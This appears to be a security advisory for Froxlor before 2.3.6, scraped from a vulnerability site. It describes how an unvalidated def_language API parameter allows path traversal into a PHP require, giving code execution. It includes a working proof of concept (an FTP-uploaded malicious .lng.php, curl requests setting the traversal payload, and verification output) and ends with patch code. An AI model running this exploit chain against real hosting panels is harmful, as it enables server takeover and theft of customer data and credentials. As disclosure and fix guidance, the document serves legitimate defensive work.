| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| froxlor/froxlor | < 2.3.6 | 2.3.6 |
| froxlor | < 2.3.6 | 2.3.6 |
The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.
Root cause: The API and web UI have inconsistent validation for the def_language parameter.
The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();
The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:
API path (ApiCommand.php:218-222):
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンWeb path (init.php:180-185):
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}
The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.
File inclusion (Language.php:89-98):
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP execution
With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
The file is now at /var/customers/webs/<loginname>/evil.lng.php.
Step 2 — Set traversal payload via API:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().
Step 3 — Trigger inclusion on next API call:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.
Step 4 — Verify execution:
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration.The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}
Apply the same fix in Admins.php at line 600.
Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}